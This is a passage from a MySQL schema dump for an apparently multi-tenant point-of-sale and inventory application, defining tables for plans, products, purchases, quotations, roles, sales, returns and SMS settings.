varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `abilities` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `last_used_at` timestamp NULL DEFAULT NULL, `expires_at` timestamp NULL DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `personal_access_tokens_token_unique` (`token`), KEY `personal_access_tokens_tokenable_type_tokenable_id_index` (`tokenable_type`,`tokenable_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `plan_features`; CREATE TABLE `plan_features` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `plan_id` bigint unsigned NOT NULL, `pos_management` tinyint(1) NOT NULL DEFAULT '0', `reports` tinyint(1) NOT NULL DEFAULT '0', `emails_support` tinyint(1) NOT NULL DEFAULT '0', `sms_support` tinyint(1) NOT NULL DEFAULT '0', `inventory_management` tinyint(1) NOT NULL DEFAULT '0', `adjustments` tinyint(1) NOT NULL DEFAULT '0', `roles_permission` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `plan_features_plan_id_foreign` (`plan_id`), CONSTRAINT `plan_features_plan_id_foreign` FOREIGN KEY (`plan_id`) REFERENCES `plans` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `plans`; CREATE TABLE `plans` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `currency_id` bigint unsigned NOT NULL, `no_of_stores` int NOT NULL DEFAULT '1', `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `price` double NOT NULL, `frequency` int NOT NULL DEFAULT '1' COMMENT '1 = Weekly, 2 = Monthly, 3 = Yearly, 4 = Unlimited', `assign_while_register` tinyint(1) NOT NULL DEFAULT '0', `trial_days` int DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `plans_currency_id_foreign` (`currency_id`), CONSTRAINT `plans_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `pos_register`; CREATE TABLE `pos_register` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `cash_in_hand` double NOT NULL, `closed_at` datetime DEFAULT NULL, `cash_in_hand_while_closing` double DEFAULT NULL, `bank_transfer` double DEFAULT NULL, `cheque` double DEFAULT NULL, `other` double DEFAULT NULL, `total_sale` double DEFAULT NULL, `total_return` double DEFAULT NULL, `total_amount` double DEFAULT NULL, `notes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `user_id` bigint unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `pos_register_user_id_foreign` (`user_id`), KEY `pos_register_tenant_id_foreign` (`tenant_id`), CONSTRAINT `pos_register_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `pos_register_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `product_categories`; CREATE TABLE `product_categories` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `product_categories_tenant_id_foreign` (`tenant_id`), CONSTRAINT `product_categories_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `products`; CREATE TABLE `products` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `main_product_id` bigint unsigned DEFAULT NULL, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `product_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `barcode_symbol` int NOT NULL DEFAULT '1', `expiry_date` date DEFAULT NULL, `product_category_id` bigint unsigned NOT NULL, `brand_id` bigint unsigned NOT NULL, `product_cost` double NOT NULL, `product_price` double NOT NULL, `product_unit` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `sale_unit` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `purchase_unit` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `stock_alert` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `quantity_limit` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `order_tax` double DEFAULT NULL, `tax_type` enum('1','2') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `notes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `products_product_category_id_foreign` (`product_category_id`), KEY `products_brand_id_foreign` (`brand_id`), KEY `products_tenant_id_foreign` (`tenant_id`), KEY `products_main_product_id_foreign` (`main_product_id`), CONSTRAINT `products_brand_id_foreign` FOREIGN KEY (`brand_id`) REFERENCES `brands` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `products_main_product_id_foreign` FOREIGN KEY (`main_product_id`) REFERENCES `main_products` (`id`) ON DELETE CASCADE, CONSTRAINT `products_product_category_id_foreign` FOREIGN KEY (`product_category_id`) REFERENCES `product_categories` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `products_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `purchase_items`; CREATE TABLE `purchase_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `purchase_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_cost` double DEFAULT NULL, `net_unit_cost` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `purchase_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purchase_items_purchase_id_foreign` (`purchase_id`), KEY `purchase_items_product_id_foreign` (`product_id`), CONSTRAINT `purchase_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purchase_items_purchase_id_foreign` FOREIGN KEY (`purchase_id`) REFERENCES `purchases` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `purchases`; CREATE TABLE `purchases` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `supplier_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `partial_amount` double DEFAULT NULL, `payment_type` bigint unsigned DEFAULT NULL, `payment_status` int DEFAULT NULL, `status` int DEFAULT NULL, `notes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `is_return` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purchases_supplier_id_foreign` (`supplier_id`), KEY `purchases_warehouse_id_foreign` (`warehouse_id`), KEY `purchases_payment_type_foreign` (`payment_type`), CONSTRAINT `purchases_payment_type_foreign` FOREIGN KEY (`payment_type`) REFERENCES `payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `purchases_supplier_id_foreign` FOREIGN KEY (`supplier_id`) REFERENCES `suppliers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purchases_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `purchases_return`; CREATE TABLE `purchases_return` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `supplier_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `payment_type` bigint unsigned DEFAULT NULL, `status` int DEFAULT NULL, `payment_status` int DEFAULT NULL, `notes` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `purchase_id` bigint unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purchases_return_supplier_id_foreign` (`supplier_id`), KEY `purchases_return_warehouse_id_foreign` (`warehouse_id`), KEY `purchases_return_purchase_id_foreign` (`purchase_id`), KEY `purchases_return_payment_type_foreign` (`payment_type`), CONSTRAINT `purchases_return_payment_type_foreign` FOREIGN KEY (`payment_type`) REFERENCES `payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `purchases_return_purchase_id_foreign` FOREIGN KEY (`purchase_id`) REFERENCES `purchases` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purchases_return_supplier_id_foreign` FOREIGN KEY (`supplier_id`) REFERENCES `suppliers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purchases_return_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `purchases_return_items`; CREATE TABLE `purchases_return_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `purchase_return_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_cost` double DEFAULT NULL, `net_unit_cost` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `purchase_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purchases_return_items_purchase_return_id_foreign` (`purchase_return_id`), KEY `purchases_return_items_product_id_foreign` (`product_id`), CONSTRAINT `purchases_return_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purchases_return_items_purchase_return_id_foreign` FOREIGN KEY (`purchase_return_id`) REFERENCES `purchases_return` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `quotation_items`; CREATE TABLE `quotation_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `quotation_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_price` double DEFAULT NULL, `net_unit_price` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `sale_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `quotation_items_quotation_id_foreign` (`quotation_id`), KEY `quotation_items_product_id_foreign` (`product_id`), CONSTRAINT `quotation_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `quotation_items_quotation_id_foreign` FOREIGN KEY (`quotation_id`) REFERENCES `quotations` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `quotations`; CREATE TABLE `quotations` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `date` date NOT NULL, `customer_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `status` int DEFAULT NULL, `is_sale_created` tinyint(1) NOT NULL DEFAULT '0', `note` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `quotations_customer_id_foreign` (`customer_id`), KEY `quotations_warehouse_id_foreign` (`warehouse_id`), KEY `quotations_tenant_id_foreign` (`tenant_id`), CONSTRAINT `quotations_customer_id_foreign` FOREIGN KEY (`customer_id`) REFERENCES `customers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `quotations_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `quotations_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `role_has_permissions`; CREATE TABLE `role_has_permissions` ( `permission_id` bigint unsigned NOT NULL, `role_id` bigint unsigned NOT NULL, PRIMARY KEY (`permission_id`,`role_id`), KEY `role_has_permissions_role_id_foreign` (`role_id`), CONSTRAINT `role_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE, CONSTRAINT `role_has_permissions_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `roles`; CREATE TABLE `roles` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `display_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `guard_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'web', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `roles_tenant_id_foreign` (`tenant_id`), CONSTRAINT `roles_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sadmin_settings`; CREATE TABLE `sadmin_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=41 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sale_items`; CREATE TABLE `sale_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `sale_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_price` double DEFAULT NULL, `net_unit_price` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `sale_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sale_items_sale_id_foreign` (`sale_id`), KEY `sale_items_product_id_foreign` (`product_id`), CONSTRAINT `sale_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sale_items_sale_id_foreign` FOREIGN KEY (`sale_id`) REFERENCES `sales` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sale_return_items`; CREATE TABLE `sale_return_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `sale_return_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_price` double DEFAULT NULL, `net_unit_price` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `sale_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sold_quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sale_return_items_sale_return_id_foreign` (`sale_return_id`), KEY `sale_return_items_product_id_foreign` (`product_id`), CONSTRAINT `sale_return_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sale_return_items_sale_return_id_foreign` FOREIGN KEY (`sale_return_id`) REFERENCES `sales_return` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sales`; CREATE TABLE `sales` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `date` date NOT NULL, `is_return` tinyint(1) NOT NULL DEFAULT '0', `customer_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `discount_type` int NOT NULL DEFAULT '2', `discount_value` int NOT NULL DEFAULT '0', `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `payment_type` bigint unsigned DEFAULT NULL, `note` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `status` int DEFAULT NULL, `payment_status` int DEFAULT NULL, `user_id` bigint unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `sales_customer_id_foreign` (`customer_id`), KEY `sales_warehouse_id_foreign` (`warehouse_id`), KEY `sales_user_id_foreign` (`user_id`), KEY `sales_tenant_id_foreign` (`tenant_id`), KEY `sales_payment_type_foreign` (`payment_type`), CONSTRAINT `sales_customer_id_foreign` FOREIGN KEY (`customer_id`) REFERENCES `customers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sales_payment_type_foreign` FOREIGN KEY (`payment_type`) REFERENCES `payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `sales_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sales_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sales_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sales_payments`; CREATE TABLE `sales_payments` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `sale_id` bigint unsigned NOT NULL, `reference` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `payment_date` date NOT NULL, `payment_type` bigint unsigned DEFAULT NULL, `amount` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sales_payments_sale_id_foreign` (`sale_id`), KEY `sales_payments_payment_type_foreign` (`payment_type`), CONSTRAINT `sales_payments_payment_type_foreign` FOREIGN KEY (`payment_type`) REFERENCES `payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `sales_payments_sale_id_foreign` FOREIGN KEY (`sale_id`) REFERENCES `sales` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sales_return`; CREATE TABLE `sales_return` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `sale_id` bigint unsigned DEFAULT NULL, `customer_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `payment_type` bigint unsigned DEFAULT NULL, `payment_status` int DEFAULT NULL, `note` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` int DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sales_return_customer_id_foreign` (`customer_id`), KEY `sales_return_warehouse_id_foreign` (`warehouse_id`), KEY `sales_return_sale_id_foreign` (`sale_id`), KEY `sales_return_payment_type_foreign` (`payment_type`), CONSTRAINT `sales_return_customer_id_foreign` FOREIGN KEY (`customer_id`) REFERENCES `customers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sales_return_payment_type_foreign` FOREIGN KEY (`payment_type`) REFERENCES `payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `sales_return_sale_id_foreign` FOREIGN KEY (`sale_id`) REFERENCES `sales` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sales_return_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `services`; CREATE TABLE `services` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `settings`; CREATE TABLE `settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `settings_tenant_id_foreign` (`tenant_id`), CONSTRAINT `settings_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=36 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sms_settings`; CREATE TABLE `sms_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sms_settings_tenant_id_foreign` (`tenant_id`), CONSTRAINT `sms_settings_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `sms_templates`; CREATE TABLE `sms_templates` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `template_name` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `status` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `sms_templates_tenant_id_foreign` (`tenant_id`), CONSTRAINT `sms_templates_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `states`; CREATE TABLE `states` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `name` varchar(170) 